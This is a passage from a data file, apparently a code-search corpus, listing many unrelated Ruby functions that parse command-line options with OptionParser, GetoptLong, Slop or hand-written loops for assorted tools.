Only 'feature', 'chore', or 'bug' are allowed.\"\n puts \"\\n#{opts}\"\n exit\n end\n @options[:story_type] = type\n end\n end\n \n # try parsing options, rescuing certain errors and printing friendly messages\n begin\n opts.parse!\n rescue OptionParser::InvalidOption => e\n puts \"#{e}\\n\\n#{opts}\"\n exit\n end\n \n # now, make sure that there are enough arguments left for required parameters\n case\n when ARGV.length < 1\n puts \"You must specify a CollabNet project tracker export (<cn_tracker_export>)\\n\\n#{opts}\"\n exit\n when !File.exists?(ARGV[0])\n puts \"Specified input file '#{ARGV[0]}' does not exist\\n\\n#{opts}\"\n exit\n when !File.readable?(ARGV[0])\n puts \"Specified input file '#{ARGV[0]}' is not readable\\n\\n#{opts}\"\n exit\n when File.directory?(ARGV[0])\n puts \"Specified input file '#{ARGV[0]}' is a directory, not a file\\n\\n#{opts}\"\n exit\n end\n \n @options[:in] = ARGV[0]\n end", "def parse_opt(args)\n valid_opts = %w{--version -v --install -i --help -h\n --complete -c --bookmark -b --search -s}\n\n nextarg = args.shift\n errormsg = 'Error: '.red + \"unrecognized option #{nextarg}\"\n pexit errormsg, 1 if ! (valid_opts.include? nextarg)\n\n # forced bookmarking\n if nextarg == '--bookmark' || nextarg == '-b'\n if args.first.nil?\n pexit 'Error: '.red + 'booker --bookmark expects bookmark id', 1\n else\n open_bookmark args\n end\n end\n\n # autocompletion\n if nextarg == '--complete' || nextarg == '-c'\n allargs = args.join(' ')\n bm = Bookmarks.new(allargs)\n bm.autocomplete\n end\n\n # installation\n if nextarg == '--install' || nextarg == '-i'\n if !args.empty?\n install(args)\n else # do everything\n install(%w{completion config bookmarks})\n end\n end\n\n # forced searching\n if nextarg == '--search' || nextarg == '-s'\n pexit '--search requires an argument', 1 if args.empty?\n allargs = args.join(' ')\n open_search allargs\n end\n\n # print version information\n version if nextarg == '--version' || nextarg == '-v'\n\n # needs some help\n helper if nextarg == '--help' || nextarg == '-h'\n\n exit 0 # dont parse_arg\n end", "def parse\n opts = OptionParser.new(&method(:set_options))\n opts.parse!(@args)\n return process_url if url_present?\n opts.help\n end", "def parse_options\n @opts = Slop.parse do |o| \n o.string '-f1', '--file1', 'First source file'\n o.string '-f2', '--file2', 'Second source file'\n o.on '-v', '--version' do\n puts Slop::VERSION\n end\n end\n rescue Exception => e\n raise\n end", "def parse_options(argv)\n arguments = [\n [:rspec, \"--rspec\", \"RSpec mode\"],\n [:helper, \"--helper\", \"Helper file to load before tests start\", String],\n [:quiet, \"--quiet\", \"Quiet\"],\n [:no_fixtures, \"--no-fixtures\", \"Do not load fixtures\"],\n [:no_ar, \"--no-ar\", \"Disable ActiveRecord logic\"],\n [:merge_coverage, \"--merge-coverage\", \"Merge base code coverage into indvidual files coverage, great for SingleCov\"],\n [\n :record_runtime,\n \"--record-runtime=MODE\",\n \"\\n Record test runtime:\\n\" <<\n \" simple = write to disk at --runtime-log)\\n\" <<\n \" amend = write from multiple remote workers via http://github.com/grosser/amend, needs TRAVIS_REPO_SLUG & TRAVIS_BUILD_NUMBER\",\n String\n ],\n [:runtime_log, \"--runtime-log=FILE\", \"File to store runtime log in or runtime.log\", String],\n [:group, \"--group=NUM\", \"What group this is (use with --groups / starts at 1)\", Integer],\n [:groups, \"--groups=NUM\", \"How many groups there are in total (use with --group)\", Integer],\n [:version, \"--version\", \"Show version\"],\n [:help, \"--help\", \"Show help\"]\n ]\n\n options = arguments.each_with_object({}) do |(setting, flag, _, type), all|\n all[setting] = delete_argv(flag.split('=', 2)[0], argv, type: type)\n end\n\n # show version\n if options.fetch(:version)\n puts VERSION\n exit 0\n end\n\n # # show help\n if options[:help]\n parser = OptionParser.new(\"forking-test-runner folder [options]\", 32, '') do |opts|\n arguments.each do |_, flag, desc, type|\n opts.on(flag, desc, type)\n end\n end\n puts parser\n exit 0\n end\n\n # check if we can use merge_coverage\n if options.fetch(:merge_coverage)\n require 'coverage'\n abort \"merge_coverage does not work on Ruby prior to 2.3 due to the lack of the Coverage.peek_result method\" unless Coverage.method_defined?(:peek_result)\n klass = (class << Coverage; self; end)\n klass.prepend CoverageCapture\n end\n\n # all remaining non-flag options until the next flag must be tests\n next_flag = argv.index { |arg| arg.start_with?(\"-\") } || argv.size\n tests = argv.slice!(0, next_flag)\n abort \"No tests or folders found in arguments\" if tests.empty?\n tests.each { |t| abort \"Unable to find #{t}\" unless File.exist?(t) }\n\n [options, tests]\n end", "def parse_options(opts, args)\n reset\n opts.parse!(args)\n rescue OptionParser::ParseError => err\n kill unrecognized_option(err)\n end", "def handle_options\n parse_options(argv)\n if config[:version]\n show_version\n else\n show_help\n end\n exit 0\n end", "def parse_args\n options = {}\n optparse = OptionParser.new do|opts|\n # Set a banner\n opts.banner = \"Usage: harness.rb [-c || --config ] FILE [-d || --testdir] DIR\"\n\n options[:testdir] = nil\n opts.on( '-d', '--testdir DIR', 'Execute tests in DIR' ) do|dir|\n options[:testdir] = dir\n end\n options[:config] = nil\n opts.on( '-c', '--config FILE', 'Use configuration FILE' ) do|file|\n options[:config] = file\n end\n\n opts.on( '-h', '--help', 'Display this screen' ) do\n puts opts\n exit\n end\n end\n optparse.parse!\n return options\nend", "def parse_yardopts_options(*args)\n opts = OptionParser.new\n opts.base.long.clear # HACK: why are --help and --version defined?\n yardopts_options(opts)\n begin\n opts.parse(args)\n rescue OptionParser::ParseError => err\n idx = args.index(err.args.first)\n args = args[(idx + 1)..-1]\n args.shift while args.first && args.first[0, 1] != '-'\n retry\n end\n end", "def parse(args)\n @options = {}\n @options[:command] = :scan # Default command is to scan for lints\n\n OptionParser.new do |parser|\n parser.banner = \"Usage: #{@application.executable_name} [options] [file1, file2, ...]\"\n\n add_linter_options parser\n add_file_options parser\n add_misc_options parser\n add_info_options parser\n end.parse!(args)\n\n # Any remaining arguments are assumed to be files that should be linted\n @options[:included_paths] = args\n\n @options\n rescue OptionParser::InvalidOption => ex\n raise InvalidCliOptionError,\n \"#{ex.message}\\nRun `#{@application.executable_name} --help` to \" \\\n 'see a list of available options.'\n end", "def parse!(argv)\n options = {}\n parser = configure_base!(OptionParser.new)\n parser.parse!(argv, into: options)\n unless options.key?(:input)\n puts 'Missing --input argument, which is required.'\n Advent2019.show_help(parser)\n end\n options\n end", "def options args = ARGV, *a, &b\n @p = Parser.new(*a, &b)\n begin\n vals = @p.parse args\n args.clear\n @p.leftovers.each { |l| args << l }\n vals\n rescue CommandlineError => e\n $stderr.puts \"Error: #{e.message}.\"\n $stderr.puts \"Try --help for help.\"\n exit(-1)\n rescue HelpNeeded\n @p.educate\n exit\n rescue VersionNeeded\n puts @p.version\n exit\n end\n end", "def parse_options\n opts = Slop.parse(help: true, strict: true) do\n banner \"Usage: fixexts [options]\"\n\n # on 'c', 'codecs', 'List the availiable codecs'\n # on 'u=', 'use', 'Tool to use (ffmpeg, mencoder)', default: \"ffmpeg\"\n end\n\n [opts, ARGV]\nend", "def parse(args)\n arg_index = 0\n while arg_index < args.size\n arg = args[arg_index]\n\n if arg.start_with? '--'\n # Argument is a long option (eg: --verbose)\n op = arg[2,arg.length]\n value = nil\n\n # Check if the option and value are specified together (\"--op=value\")\n eql_index = op.index '='\n if !eql_index.nil?\n # Split \"op=value\" string and store\n value = op[eql_index+1, op.size]\n op = op[0, eql_index]\n end\n\n # Check if option is accepted\n raise \"Option '--#{op}' not accepted\" if !accepts? op\n\n # Remember that the option was specified\n data = @options[op]\n data.given = true\n\n # Check if given a value that wasn't expected\n if !data.has_value? && !eql_index.nil?\n raise \"Option '--#{op}' does not expect a value\"\n end\n \n # Get associated value\n if data.has_value?\n # If the option was not given as \"op=value\", get the next value.\n # Otherwise, save the value we stored before\n if eql_index.nil?\n # Get index of next value\n arg_index += 1\n # Make sure we actually have a value to save\n if arg_index >= args.size\n raise \"Option '--#{op}' must be followed by a value\"\n end\n # Then save the value\n data.value = args[arg_index]\n else\n data.value = value\n end\n end\n\n elsif arg.start_with? '-'\n # Argument is a short option (eg: -a, -abc)\n op = arg[1,arg.length]\n \n # Make sure each character is accepted\n op.chars.each_with_index do |c,i|\n # Check for errors\n raise \"Option '-#{c}' not accepted\" if !accepts? c\n\n # Remember that the option was specified\n data = @options[c]\n data.given = true\n\n # Check for and save the option's values\n if data.has_value?\n # Get index of next value\n arg_index += 1\n # Make sure we actually have a value to save\n if arg_index >= args.size || i >= op.size\n raise \"Option '-#{c}' must be followed by a value\"\n end\n # Then save the value\n data.value = args[arg_index]\n end\n end\n\n else\n # Argument is a param (ie. not an option)\n @params << arg\n end\n\n # Increment argument index\n arg_index += 1\n end\n end", "def parse(args)\n @options = Options.new\n @args = OptionParser.new do |parser|\n @options.define_options(parser)\n begin\n parser.parse!(args)\n rescue OptionParser::InvalidOption => e\n puts e.message\n exit\n end\n end\n @options\n rescue OptionParser::MissingArgument => e\n puts e.message\n exit\n end", "def setup_options\n parser = OptionParser.new do |o|\n o.banner = 'Usage: bundle exec qpush-server [options]'\n\n o.on('-c', '--config PATH', 'Load PATH for config file') do |arg|\n load(arg)\n Server.log.info(\"* Server config: #{arg}\")\n end\n\n o.on('-h', '--help', 'Prints this help') { puts o && exit }\n end\n parser.parse!(@argv)\n end", "def process_command_line_options\r\n begin\r\n defer, found = \"\", false\r\n opts = GetoptLong.new(\r\n [ \"--help\", \"-h\", \"-?\", GetoptLong::NO_ARGUMENT ],\r\n [ \"--load\", \"-l\", GetoptLong::REQUIRED_ARGUMENT ],\r\n [ \"--debug\", \"-d\", GetoptLong::NO_ARGUMENT ],\r\n [ \"--quit\", \"-q\", GetoptLong::NO_ARGUMENT ],\r\n [ \"--words\", \"-w\", GetoptLong::NO_ARGUMENT ])\r\n\r\n # Process the parsed options\r\n opts.each do |opt, arg|\r\n unless found\r\n puts; found = true\r\n end\r\n\r\n case opt\r\n when \"--debug\"\r\n @debug = true\r\n when \"--load\"\r\n defer << \"load\\\"#{arg}\\\" \"\r\n when \"--quit\"\r\n defer << \")quit \"\r\n when \"--words\"\r\n defer << \")words \"\r\n else\r\n fail SilentExit\r\n end\r\n end\r\n\r\n puts if found\r\n rescue Exception => e\r\n puts\r\n puts \"fOOrth available options:\"\r\n puts\r\n puts \"--help -h -? Display this message and exit.\"\r\n puts \"--load -l <filename> Load the specified fOOrth source file.\"\r\n puts \"--debug -d Default to debug ON.\"\r\n puts \"--quit -q Quit after processing the command line.\"\r\n puts \"--words -w List the current vocabulary.\"\r\n puts\r\n raise SilentExit\r\n end\r\n\r\n defer\r\n end", "def parse_args()\n opts = GetoptLong.new(\n ['--host', GetoptLong::OPTIONAL_ARGUMENT],\n ['--port', GetoptLong::OPTIONAL_ARGUMENT],\n ['--columns', GetoptLong::OPTIONAL_ARGUMENT],\n ['--index', GetoptLong::REQUIRED_ARGUMENT],\n ['--type', GetoptLong::REQUIRED_ARGUMENT]\n )\n\n opts.each do |opt, arg|\n case opt\n when '--host'\n @host = arg\n when '--port'\n @port = arg\n when '--columnns'\n @cols = arg.split(\",\")\n when '--index'\n @index = arg\n when '--type'\n @type = arg\n end\n end\n\n if @index.nil?\n STDERR.puts 'missing argument: --index'\n exit 1\n end\n\n if @type.nil?\n STDERR.puts 'missing argument: --type'\n exit 1\n end\n\n if ARGV.length != 1\n STDERR.puts 'Missing argument: file'\n exit 1\n end\n\n @file = ARGV.shift\nend", "def parse(argv)\n parser, options = parse_main(argv)\n\n # Options that are mutually-exclusive with everything else.\n options = {:help => true} if options[:help]\n options = {:version => true} if options[:version]\n\n validate_options!(options)\n\n @options = options\n @help_text = parser.to_s\n\n self\n end", "def parse_options\n OptionParser.new do |opts|\n opts.banner = \"Retrieve a listing of games that were new to you.\n Usage: bgg-new-to-you-year.rb --username 'UserName' --year YYYY --order [alpha, date, plays] --verbose\"\n\n opts.on('-u username', '--username username', \"Username (required)\") do |username|\n @options[:username] = username.to_s\n end\n\n opts.on('-y YEAR', '--year YEAR', Integer, 'Year (four digits, e.g. 2016)') do |year|\n @options[:year] = year.to_i\n end\n\n opts.on('-o [ORDER]', '--order [ORDER]', [:alpha, :date, :plays], 'Order by (alpha, date, or plays)') do |order|\n @options[:order] = order\n end\n\n opts.on(\"-v\", \"--[no-]verbose\", \"Run verbosely\") do |v|\n @options[:verbose] = v\n end\n\n end.parse!\n\n raise OptionParser::MissingArgument if @options[:username].nil?\n\n end", "def parse_options=(_arg0); end", "def parse_options=(_arg0); end", "def parse( args )\n opts = OptionParser.new\n opts.banner = 'Usage: stratus [options] target [target args]'\n\n opts.separator ''\n\n desired_opts = %[--describe --prereqs --tasks --trace]\n app.standard_rake_options.each do |options|\n next unless desired_opts.include?(options.first)\n opts.on(*options)\n end\n\n opts.separator ''\n opts.separator 'common options:'\n\n opts.on_tail( '-h', '--help', 'show this message' ) do\n @out.puts opts\n exit\n end\n opts.on_tail( '-q', '--quiet', 'show compact messages' ) do\n ENV['STRATUS_LOGGING'] = 'quiet'\n end\n opts.on_tail( '--version', 'show version' ) do\n @out.puts \"Stratus #{::Stratus::VERSION}\"\n exit\n end\n \n begin\n opts.parse! args\n rescue OptionParser::InvalidOption => ex\n puts \"!! #{ex}\"\n end\n \n \n ARGV.replace Array(args.shift)\n args.delete_if do |arg|\n if %r/^[A-Z_]+=/ =~ arg\n ARGV << arg\n next true\n end\n false\n end\n\n args\n end", "def parse(args)\n OptionParser.new do |opts|\n opts.banner = 'Usage: term [options]'\n\n opts.on('-d', '--debug', 'Enable debug') do |v|\n @options[:debug] = v\n end\n end.parse!(args)\n [@options, args]\n end", "def parse\n # Parse all arguments first\n option_parser.parse!(arguments)\n\n # Get the first argument, this is our command\n cmd = arguments.pop\n raise OptionParser::MissingArgument, 'command' unless cmd\n\n # Set the command if it's present\n options.command = cmd.to_sym\n end", "def parseArgs\n forceDefaultMode=false\n opts = GetoptLong.new(\n [\"-h\", \"--help\", GetoptLong::NO_ARGUMENT],\n [\"-f\", \"--file\", GetoptLong::REQUIRED_ARGUMENT],\n [\"--st\", \"--statements\", GetoptLong::REQUIRED_ARGUMENT],\n [\"-s\", \"--size\", GetoptLong::REQUIRED_ARGUMENT],\n [\"-d\", \"--default\", GetoptLong::NO_ARGUMENT],\n [\"-o\", \"--outer-control\", GetoptLong::NO_ARGUMENT],\n [\"-p\", \"--package\", GetoptLong::REQUIRED_ARGUMENT],\n [\"-n\", \"--main-class-name\", GetoptLong::REQUIRED_ARGUMENT])\n opts.each do |opt, arg|\n case opt\n when \"-f\"\n parseConfFile(arg)\n when \"-s\"\n @max_size = arg.to_i()\n when \"--st\"\n @max_stmts = arg.to_i()\n when \"-d\"\n forceDefaultMode = true\n when \"-o\"\n @outer_control = true\n when \"-p\"\n @package = arg.to_s\n when \"-n\"\n @mainClassName = arg.to_s\n end\n end\n if ARGV.length > 0\n error(\"Invalid arguments\")\n end\n @mode = 'default' if forceDefaultMode\n end", "def parse!(argv)\n\t\t$log.debug(\"#{self.class}.#{__method__}('#{argv.join(\" \")}'#{block_given? ? ',&block' : ''})\")\n\t\tif (argv.size == 0)\n\t\t\traise OptionParser::InvalidArgument, \"No arguments specified.\"\n\t\tend\n\n\t\t# @options is used to store recognized command-line args\n\t\t@options = Hash.new\n\t\twhile arg = argv.shift\n\t\t\tcase arg\n\t\t\twhen \"-cmd\"\n\t\t\t\t@command = argv.shift\n\t\t\twhen \"-debug\"\n\t\t\t\t$log.level = Logger::DEBUG\n\t\t\t\t$logerr.level = Logger::DEBUG\n\t\t\twhen \"-opt\"\n\t\t\t\t@options[:dataset] = argv.shift\n\t\t\twhen \"-path\"\n\t\t\t\t@options[:path] = argv.shift\n\t\t\twhen \"-target\"\n\t\t\t\t@options[:target] = argv.shift\n\t\t\twhen \"-log\"\n\t\t\t\tlevel = $log.level\n\t\t\t\tlog_path = argv.shift\n\t\t\t\t$log = Logger.new(log_path)\n\t\t\t\t$log.level = level\n\t\t\t\t$logerr = Logger.new(log_path)\n\t\t\t\t$logerr.level = level\n\t\t\telse\n\t\t\t\targv.unshift(arg)\n\t\t\t\tif block_given?\n\t\t\t\t\tunless (argv = yield(argv))\n\t\t\t\t\t\traise OptionParser::InvalidArgument, \"Unknown argument.\"\n\t\t\t\t\tend\n\t\t\t\telse break\n\t\t\t\tend\n\t\t\tend\t\t\n\t\tend\n\t\traise OptionParser::InvalidArgument, \"No command specified.\" unless @command\n\t\tunless (self.class::COMMANDS.include?(@command) && self.respond_to?(@command))\n\t\t\traise OptionParser::InvalidArgument, \"Unknown command '#{@command}' specified.\"\n\t\tend\n\t\treturn argv\n\tend", "def parse_options\n OptionParser.new do |opts|\n opts.banner = \"Retrieve a listing of games that were new to you.\n Usage: bgg-new-to-you.rb --username wesbaker --month 6\"\n\n opts.on('-u username', '--username username', 'Username') do |u|\n @options[:username] = u.to_s\n end\n\n opts.on('-m MONTH', '--month MONTH', 'Month (numeric, e.g. 11)') do |m|\n @options[:month] = m.to_i\n end\n\n opts.on('-y YEAR', '--year YEAR', 'Year (four digits, e.g. 2013)') do |y|\n @options[:year] = y.to_i\n end\n end.parse!\n end", "def validate_and_parse_options\n # Checking ARGV validity *before* parse_options because parse_options\n # mangles ARGV in some situations\n if no_command_given?\n print_help_and_exit(1, NO_COMMAND_GIVEN)\n elsif no_subcommand_given?\n if (want_help? || want_version?)\n print_help_and_exit\n else\n print_help_and_exit(2, NO_COMMAND_GIVEN)\n end\n end\n end", "def parse_options(argv, options)\n\toptions[:extra_plugins] = []\n\topt_parser = OptionParser.new do |opts|\n\t\topts.banner = \"Usage: make.rb [options]\"\n\t\topts.separator \"\"\n\t\topts.separator \"Common Options:\"\n\t\topts.on(\"-o\", \"--output DIRECTORY\", \"Binaries output directory (override SR_BIN_DIR)\") { |v| options[:output] = v }\n\t\topts.on(\"-p\", \"--platform PLATFORM\", \"Platform to target (#{$platforms.join(\", \")}, #{$platform_aliases.keys.join(\", \")})\") { |v| options[:platform] = v }\n\t\topts.on(\"-c\", \"--config CONFIGURATION\", \"Build configuration to use (#{$configs.join(\", \")})\") { |v| options[:config] = v }\n\t\topts.on(\"-e\", \"--devenv ENVIRONMENT\", \"Development environment to use (#{$devenvs.join(\", \")})\") { |v| options[:devenv] = v }\n\t\topts.on(\"-t\", \"--target TARGET\", \"Target project to build (default is all)\") { |v| options[:target] = v }\n\t\topts.on(\"-r\", \"--rebuild\", \"Clean all output targets before build\") { |v| options[:rebuild] = v }\n\t\topts.on(\"-x\", \"--clean\", \"Clean all output targets only\") { |v| options[:clean] = v }\n\t\topts.on(\"-g\", \"--[no-]generate\", \"Generate project files (default)\") { |v| options[:generate] = v }\n\t\topts.on(\"-b\", \"--[no-]build\", \"Launch a build of generated project files (default)\") { |v| options[:build] = v }\n\t\topts.on(\"-z\", \"--[no-]debug-info\", \"Enable debug information in all configurations (default)\") { |v| options[:debug_info] = v }\n\t\topts.on(\"--[no-]engine\", \"Enable Engine target\") { |v| options[:engine] = v }\n\t\topts.on(\"--[no-]editor\", \"Enable Editor target\") { |v| options[:editor] = v }\n\t\topts.separator \"\"\n\t\topts.separator \"Other Options:\"\n\t\topts.on(\"-k\", \"--kill\", \"Kill running processes\") { |v| options[:kill] = v }\n\t\topts.on(\"-u\", \"--[no-]update\", \"Update library directory with latest versions (default)\") { |v| options[:update] = v }\n\t\topts.on(\"-v\", \"--[no-]verbose\", \"Print detailed build informations\") { |v| options[:verbose] = v }\n\t\topts.on(\"--distrib\", \"Bundle your plugin for distribution\") { |v| options[:distrib] = v }\n\t\topts.on(\"--pause\", \"Pause system on completion or error\") { |v| options[:pause] = v }\n\t\topts.on(\"-h\", \"--help\", \"Prints this help\") do\n\t\t\tputs opts\n\t\t\texit 1\n\t\tend\n\tend\n\n\t# Parse options\n\tbegin\n\t\topt_parser.parse(argv)\n\trescue OptionParser::ParseError => e\n\t\tputs e\n\t\tputs\n\t\tputs opt_parser\n\t\texit 1\n\tend\n\n\treturn opt_parser\nend", "def parse_options\n options[:markdown] = false\n o = OptionParser.new do |opts|\n opts.on('-m', '--markdown', 'Use Markdown Syntax') do\n options[:markdown] = true\n end\n opts.on('-l', '--html', 'Use HTML Syntax') do\n options[:html] = true\n end\n opts.on('-s', '--size PERCENTAGE', 'Image Size') do |value|\n options[:size] = value\n end\n opts.on('-t', '--title TITLE', 'Image Title') do |value|\n options[:title] = value\n end\n opts.on('-d', '--desc DESC', 'Image Title') do |value|\n options[:desc] = value\n end\n opts.on('-v', '--version', 'Print Version') do\n version\n quit\n end\n opts.on('-h', '--help', 'Print Help') do\n help\n quit\n end\n end\n begin\n o.parse!\n rescue OptionParser::MissingArgument => e\n puts \"Error: #{e.message}\"\n quit\n rescue OptionParser::InvalidOption => e\n puts \"Error: #{e.message}\"\n quit\n end\n end", "def parse_args\n\t\t@args = @args_a.each_slice(2).to_a.inject({}) { |h, k| h[k[0]] = k[1]; h }\n\t\tkeys = @skeys + @lkeys\n\t\t@args.each do |k, v|\n\t\t\tif !keys.include?(k)\n\t\t\t\tputs \"Unknown option `#{k}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif keys.include?(v)\n\t\t\t\tputs \"Missing values for `#{k}' and `#{v}'\"\n\t\t\t\texit\n\t\t\tend\n\n\t\t\tif v != nil\n\t\t\t\tif v.start_with?('-')\n\t\t\t\t\tputs \"Warning: Value of `#{k}' appears to be a flag\"\n\t\t\t\tend\n\n\t\t\t\tif @static.has_key?(k)\n\t\t\t\t\tif !@static[k].include?(v)\n\t\t\t\t\t\tputs \"Unknown option `#{v}' for `#{k}'\"\n\t\t\t\t\t\texit\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\tif remove_keys(@no_vals).has_blank?\n\t\t\tputs \"Missing argument(s)\"\n\t\t\texit\n\t\tend\t\t\t\n\tend", "def parse\n opts = OptionParser.new(&method(:set_options))\n opts.parse!(@args)\n return login if @login\n puts opts.help\n end", "def parse(args, flags={})\n @args = args\n # start with symbolized defaults\n hash = Hash[@defaults.map {|k,v| [k.to_sym, v] }]\n\n @leading_non_opts = []\n unless flags[:opts_before_args]\n @leading_non_opts << shift until current_is_option? || @args.empty? ||\n STOP_STRINGS.include?(peek)\n end\n\n while current_is_option?\n case @original_current_option = shift\n when SHORT_SQ_RE\n unshift $1.split('').map { |f| \"-#{f}\" }\n next\n when EQ_RE, SHORT_NUM\n unshift $2\n option = $1\n when LONG_RE, SHORT_RE\n option = $1\n end\n\n dashed_option = normalize_option(option)\n @current_option = undasherize(dashed_option)\n type = option_type(dashed_option)\n validate_option_value(type)\n value = create_option_value(type)\n # set on different line since current_option may change\n hash[@current_option.to_sym] = value\n end\n\n @trailing_non_opts = @args\n check_required! hash\n delete_invalid_opts if flags[:delete_invalid_opts]\n indifferent_hash.tap {|h| h.update hash }\n end", "def setup_options\n @parser.banner = BANNER\n\n @parser.on('-V', '--version', 'display version and exit') { show_version }\n @parser.on('-h', '--help', 'display help and exit') { show_help }\n @parser.on('-f', '--files=[file1.txt file2.txt ...]', Array, 'text files to read') { |o| @options.files = o }\n @parser.on('-n', '--number=NUM', Integer, 'number of results to show [default = 100]') do |n|\n @options.number = n\n end\n @parser.on('-v', '--verbose', 'verbose output') { @options.verbose = true }\n end", "def parse_arguments\n @command_line_options = {}\n @config.insert 0, '<command_line>', @command_line_options\n\n @options = OptionParser.new do |opts|\n opts.on('-a', '--application STRING', 'set application name') do |application|\n @command_line_options[:application] = application\n end\n\n opts.on('-d', '--destination DIR', 'set destination directory', \"default: #{@config[:destination_directory]}\") do |directory|\n @command_line_options[:destination_directory] = directory\n end\n\n opts.on('-n', '--dryrun', 'do not switch') do\n @command_line_options[:dryrun] = true\n end\n\n opts.on('-V', '--version STRING', 'set application version to deploy') do |version|\n @command_line_options[:version] = version\n end\n end\n @options.parse!\n end", "def get_options\n ARGV.options { |opt|\n opt.banner = \"Usage: ruby #{__FILE__} [options] \"\n\n opt.on(\"--help\", \"What you see right now\"){ puts opt; exit 0}\n\n #Try testing with this\n #ruby __FILE__ -x -c -s test\n opt.on(\"-x\", \"parse arguments and show Usage\") {|@quit|}\n\n opt.on(\"--doc=DIRECTORY\", String, \"Output rdoc (Ruby HTML documentation) into directory\"){|dir|\n system(\"rdoc -o #{dir} #{__FILE__}\")\n }\n\n opt.on(\"--verbose\", \"-v\", \"print intermediate steps to STDERR\"){|@verbose|}\n\n opt.on(\"--schema\", \"-S\", \"Use Schema i.e. XSD rather than XML document\"){|@opt_schema|}\n\n opt.on_tail(\"By default splits data according to opt_filter, \",\n \"Subset plots on #{@opt_subset}. Will not create histograms\")\n\n opt.parse!\n } or exit(1);\n\n if @quit\n pp self\n (print ARGV.options; exit)\n end\n\n rescue NameError => err\n STDERR.puts \"ERROR: #{err}\"\n exit 1\n rescue => err\n STDERR.puts \"ERROR: #{err}\"\n exit 1\n end", "def parse_options\n @options = {\n :environment => 'production',\n :config_path => ENV['CLOUD_CROWD_CONFIG'] || '.',\n :daemonize => false\n }\n @option_parser = OptionParser.new do |opts|\n opts.on('-c', '--config PATH', 'path to configuration directory') do |conf_path|\n @options[:config_path] = conf_path\n end\n opts.on('-p', '--port PORT', 'port number for server (central or node)') do |port_num|\n @options[:port] = port_num\n end\n opts.on('-e', '--environment ENV', 'server environment (defaults to production)') do |env|\n @options[:environment] = env\n end\n opts.on('-d', '--daemonize', 'run as a background daemon') do |daemonize|\n @options[:daemonize] = daemonize\n end\n opts.on('--days NUM_DAYS', 'grace period before cleanup (7 by default)') do |days|\n @options[:days] = days.to_i if days.match(/\\A\\d+\\Z/)\n end\n opts.on_tail('-v', '--version', 'show version') do\n require \"#{CC_ROOT}/lib/cloud-crowd\"\n puts \"CloudCrowd version #{VERSION}\"\n exit\n end\n end\n @option_parser.banner = BANNER\n @option_parser.parse!(ARGV)\n end", "def create_and_parse_cli_options\n opt = OptionParser.new\n\n opt.on(\"--host HOST\", \"-h\", \"Management IP address or hostname\") do |v|\n @options[:host] = v\n end\n\n opt.on(\"--vendor VENDOR\", \"-p\", \"Hardware vendor\") do |v|\n @options[:vendor] = v\n end\n\n opt.on(\"--model MODEL\", \"-m\", \"Hardware model\") do |v|\n @options[:model] = v\n end\n\n opt.on(\"--community COMMUNITY\", \"-c\", \"SNMP community\") do |v|\n @options[:community] = v\n end\n\n opt.on(\"--version VERSION\", \"-v\", \"SNMP version\") do |v|\n @options[:version] = v\n end\n\n opt.on(\"--debug\", \"Enable debug output\") do |_v|\n @options[:debug] = true\n @debug = true\n end\n\n opt.on(\"--cache-results\", \"Store results output as JSON in /tmp\") do |_v|\n @options[:cache_results] = true\n end\n\n opt.parse!\n end", "def parse_options(args)\n \n dopts = Spiderman::Crawler::DEFAULT_OPTS\n options = Hash.new\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = 'Usage: spiderman [options]'\n opts.separator \"\"\n opts.separator \"Default values are given in parenthesis\"\n opts.separator \"\"\n opts.separator \"Specific options:\"\n\n opts.on(\"--url URL\", \"Setting the Base URL. (#{dopts[:base_url_string]})\") do |url|\n if url !~ Spiderman::Scraper::VALID_URL\n raise OptionParser::InvalidArgument, \"supports only http/https URLs\"\n end\n options[:base_url_string] = url\n end\n\n opts.on(\"--site\", \"-s\", \"Crawl single site only. (#{dopts[:site_only]})\") do\n options[:site_only] = true\n end\n\n opts.on(\"--depth N\", \"-d N\", Numeric, \"Maximum crawl depth, counting the Base URL. (#{dopts[:max_crawl_depth]})\") do |max_crawl_depth|\n if !(max_crawl_depth > 0)\n raise OptionParser::InvalidArgument, \"supports only numbers > 0\"\n end\n options[:max_crawl_depth] = max_crawl_depth\n end\n\n opts.on(\"--urls N\", \"-u N\", Numeric, \"Maximum number of urls to discover (#{dopts[:max_urls]})\") do |max_urls|\n if !(max_urls > 0)\n raise OptionParser::InvalidArgument, \"supports only numbers > 0\"\n end\n options[:max_urls] = max_urls\n end\n\n opts.separator \"\"\n opts.separator \"Common options:\"\n\n opts.on_tail('--verbose', \"Verbose output. (#{dopts[:verbose]})\") do\n options[:verbose] = true\n end\n\n opts.on_tail('--help', '-h', 'Show this message') do\n puts opts\n @end_program=true\n return\n end\n\n opts.on_tail('--version', '-v', 'Show version') do\n puts \"#{APPNAME}: version #{VERSION}\"\n @end_program=true\n return\n end\n end\n\n begin\n opt_parser.parse!(args)\n rescue => ex\n puts ex\n @end_program = true\n end\n\n options\n end", "def parse_args(args)\n options = {\n :console => false,\n :tag => nil\n }\n\n opt_parser = OptionParser.new do |opts|\n opts.banner = \"Usage: #{$0} <input filepath> [options]\"\n\n opts.separator \"\"\n opts.separator \"Data options:\"\n\n opts.on(\"-t T\", String, \"Tag\") do |t|\n options[:tag] = t\n end\n opts.separator \"\"\n opts.on_tail(\"-h\", \"--help\", \"Show this message\") do\n puts opts\n exit\n end\n end\n\n opt_parser.parse!(args)\n options\nend", "def parse_options\n options = Trollop::options do\n version VERSION\n banner <<-EOS\nPostwhite is a policy server for Postfix MTA which filters incoming emails\nbased on per recipient whitelists managed by an email frontend.\n\nDocumentation:\n http://www.bitcetera.com/products/postwhite\n\nUsage:\n postwhite [options] {#{Postwhite::COMMANDS.join('|')}}\n\nOptions:\n EOS\n opt :'audit', \"Write audit information to log\", :default => false\n opt :'config-dir', \"Directory containing the configuration files\", :default => '/etc/postfix/postwhite'\n opt :'debug', \"Write debug information to log\", :default => false\n opt :'detach', \"Detach the daemon\", :default => false\n opt :'prefix', \"Use this prefix for all paths\", :default => '/'\n opt :'quiet', \"Don't output anything\", :default => false\n opt :'user', \"Run the server as this user\", :default => 'postwhite'\n stop_on Postwhite::COMMANDS\n end\n options[:command] = ARGV[0]\n options\n end", "def parse(argv = [])\n @option_parser.parse!(argv)\n\n options.each do |option|\n if option.required? and !option.has_value?\n Shebang.error(\"The -#{option.short} option is required\")\n end\n end\n\n return argv\n end", "def optparse!(argv) # 